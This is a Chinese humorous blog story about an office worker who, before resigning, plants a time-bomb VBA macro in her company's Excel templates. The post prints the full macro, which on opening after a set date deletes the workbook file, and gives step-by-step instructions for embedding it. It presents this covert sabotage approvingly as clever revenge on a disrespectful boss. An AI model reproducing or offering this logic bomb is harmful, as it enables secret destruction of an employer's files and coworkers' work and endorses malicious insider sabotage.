辞职前，我用Excel做了这个“骚”操作，把前老板吓傻了！
编按：
职场中，熟操Excel技能的大神通常都能游刃有余地应对工作问题，设计出各种各样的实用模板，核对出历史混乱数据的真相。但很多时候，出于保护模板和数据等目的，Excel大神也会希望这些Excel表格能在一定的条件下自我毁灭。故事里的嘉，就有这么一个需求。
——片头曲——
在那遥远的地方，有个好姑娘，
人们走过了她的账房，都要回头留恋地张望。
她那牛逼的表单，好像很流氓，
只要三言两语的VBA，
就能搞定所有的情况。
——故事开始——
嘉是办公室里的Excel小仙女，为公司设置了很多实用的Excel模板，但却一直不为领导所尊重，屡遭上级的刁难，部门其他同事在使用模板时的不适当操作也时常被诟病为是嘉设计的模板有问题。日积月累的DISS终于让嘉心态崩溃，这些模板明明是自己工作之余、职责之外的成果，只为同事们得以解放双手、提高效率，怎就成了自己的罪状？愤慨之下，嘉决定离职后的一个月就让这些模板自动毁灭。于是，她悄悄在这些模板中写下了这样一段VBA语句：
Private Sub Workbook_Open()If Date >= "2020-1-31" Then Application.DisplayAlerts = False Application.ScreenUpdating = False MsgBox "本表自知大限将至，欲驾鹤西去。破琴绝弦无外乎如是，愿君安好！" With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With Application.DisplayAlerts = TrueEnd IfEnd Sub在同事的唏嘘和主管的自鸣得意中，嘉飘然而去。一切似乎并无不同，缺了嘉这颗螺丝钉，账房这台机器貌似也照转不误。谁料，一个月后，账房内突然哀鸿遍野，“这个模板成精了吗，怎么自杀了？”，一时间，所有嘉之前设计的模板都随她飘然而去了！
瞬间，账房乱成了一锅粥，怎么昨天还用得好好的，今天就GG了？同事们急了，主管懵了，他一个电话打给了嘉。
主管：嘉嘉啊，我们平时用的这些模板今天突然都没了，说什么大限将至？你知道怎么回事吗？
嘉嘉：老领导，您都说了，这些表投机取巧没什么用，这没了就没了呗，账房不还照转么？
主管：不是，他们都急哭了，说这些表能节约80%的工作量呢，以前用着还不觉得，突然一下子失去了，才发现它们的重要性。Excel你最在行了，要不你抽个时间过来看看，我请你吃......
嘉嘉：领导，您也失去我了，不是吗？
嘟嘟嘟嘟。。。。。。
电话一头，是傻眼愠怒的主管，电话另一头，是微笑着踏步走进新公司的嘉。此时，嘉的脑海里，正回想着当初的操作方法：
1.点击【开发工具】-【Visual Basic】按钮或按Alt+F11，弹出VBA窗口；
2.双击ThisWorkBook，弹出代码窗口；
3.将上方语句粘贴到代码窗口，关闭VBA窗口；
4.将文件另存为“启用宏的工作簿”，关闭文件即可。
——片尾曲——
得不到的永远在骚动，
被偏爱的都有恃无恐，
没有这宏，
容易加班的梦，
写好的模板却人去表空，
重新弄。